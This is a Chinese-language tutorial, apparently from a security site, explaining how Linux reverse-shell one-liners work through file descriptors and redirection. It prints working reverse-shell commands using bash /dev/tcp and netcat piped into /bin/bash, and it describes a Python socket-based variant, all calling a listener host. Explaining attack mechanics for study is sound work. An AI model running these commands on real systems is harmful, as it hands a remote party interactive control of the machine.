Linux滲透之反彈Shell

作者:派大星

稿費:200RMB(不服你也來投稿啊!)

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

前言


當我們在滲透Linux主機時,反彈一個交互的shell是非常有必要的。在搜索引擎上搜索關鍵字「Linux 反彈shell」,會出現一大堆相關文章,但是其內容不但雷同,而且都僅僅是告訴我們執行這個命令就可以反彈shell了,卻沒有一篇文章介紹這些命令究竟是如何實現反彈shell的。既然大牛們懶得科普,那我就只好自己動手了。本文就來探討一下相關命令實現的原理。

Bash


這篇文章的起因就是網上給的Bash反彈shell的實現:

1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

看到這短短的一行代碼,正在複習Linux,自我感覺良好的我頓時充滿了挫敗感,這都是些什麼鬼。於是決定一定要搞明白它。

首先,bash -i是打開一個交互的bash,這個最簡單。我們先跳過「>&」和「0>&1」,這兩個是本文重點,等會再說。先來說「/dev/tcp/」。

/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。

要想了解「>&」和「0>&1」,首先我們要先了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

1. 標準輸入 (stdin) :代碼為 0 ,使用 < 或 << ;

2. 標準輸出 (stdout):代碼為 1 ,使用 > 或 >> ;

3. 標準錯誤輸出(stderr):代碼為 2 ,使用 2> 或 2>>。

很多資料都會告訴我們,2>&1是將標準錯誤輸出合併到標準輸出中,但是這四個符號具體要如何理解呢?我剛開始直接將2>看做標準錯誤輸出,將&看做and,將1看做標準輸出。這樣理解好像也挺對,但是如果是這樣的話0>&1又該如何理解呢?

其實&根本就不是and的意思,學過C/C++的都知道,在這兩門語言里,&是取地址符。在這裡,我們也可以將它理解為取地址符。

好了,基本知識說完了,下面我們就探討一下困擾了我一天的「>&」究竟是什麼意思。首先,我在查資料的過程中雖然沒有查到「>&」究竟是什麼,但是有一個跟它長得很像的符號卻被我發現了,那就是「&>」,它和「2>&1」是一個意思,都是將標準錯誤輸出合併到標準輸出中。難道「>&」和「&>」之間有什麼不為人知的交易?讓我們來動手測試一下。

從圖片中我們可以看到,在這裡">&"和「&>」作用是一樣的,都是將標準錯誤輸出定向到標準輸出中。

既然如此,那麼我們就把他倆互換試試看,究竟結果一不一樣。

我在虛擬機里執行

1
bash -i >& /dev/tcp/10.0.42.1/1234

結果如下圖所示,雖然命令和結果都在我本機上顯示出來了,但實際上命令並不是在本機上輸入的,而是只能在虛擬機裡面輸入,然後命令和結果都在我本機上顯示。

我們再執行

1
bash -i &> /dev/tcp/10.42.0.1/1234

效果是一樣的,就不上圖了。所以由實踐可知,「>&」和我們常見的「&>」是一個意思,都是將標準錯誤輸出重定向到標註輸出。

好了,一個問題已經解決,下一個就是「0>&1」。我們都知道,標準輸入應該是「0<」而不是「0>」,難道這個跟上一個問題樣都是同一個命令的不同寫法?讓我們試一下「0<&1」,看看會發生什麼。

在上圖中我們得到了一個交互的shell。果然是這樣!「0>&1」和「0<&1」是一個意思,都是將標準輸入重定向到標準輸出中。使用

1
bash -i &> /dev/tcp/10.42.0.1 0<&1

同樣能反彈一個可交互的shell。

綜上所述,這句命令的意思就是,創建一個可交互的bash和一個到10.42.0.1:1234的TCP鏈接,然後將bash的輸入輸出錯誤都重定向到在10.42.0.1:1234監聽的進程。

NetCat


如果目標主機支持「-e」選項的話,我們就可以直接用

1
nc -e /bin/bash 10.42.0.1 1234

但當不支持時,我們就要用到Linux神奇的管道了。我們可以在自己機器上監聽兩個埠,

1
2
nc -l -p 1234 -vv
nc -l -p 4321 -vv

然後在目標主機上執行以下命令:

1
nc 10.42.0.1 1234 | /bin/bash | nc 10.42.0.1 4321

這時我們就可以在1234埠輸入命令,在4321埠查看命令的輸出了。

管道「|」可以將上一個命令的輸出作為下一個命令的輸入。所以上面命令的意思就是將10.42.0.1:1234傳過來的命令交給/bin/bash執行,再將執行結果傳給10.42.0.1:4321顯示。

Python


python -c表示執行後面的代碼。首先引入了三個庫socket,subprocess,os,這三個庫後面都要用到,然後創建了一個使用TCP的socket,接著執行connect函數連接到黑客主機所監聽的埠。接著執行os庫的dup2函數來進行重定向。dup2傳入兩個文件描述符,fd1和fd2(fd1是必須存在的),如果fd2存在,就關閉fd2,然後將fd1代表的那個文件強行複製給fd2,fd2這個文件描述符不會發生變化,但是fd2指向的文件就變成了fd1指向的文件。 這個函數最大的作用是重定向。三個dup2函數先後將socket重定向到標準輸入,標準輸入,標準錯誤輸出。最後建立了一個子進程,傳入參數「-i」使bash以交互模式啟動。這個時候我們的輸入輸出都會被重定向到socket,黑客就可以執行命令了。

我們可以看到成功的彈回了一個shell。

總結


在對信息安全的學習中,我們要時刻保持好奇心,多問為什麼,要多去探究根本原理,而不是只會使用工具和死記硬背,遇到不會又搜不到答案的問題,我們要大膽猜想,小心求證,只有這樣我們才能不斷的進步,在信息安全的領域越走越遠。

你可能會喜歡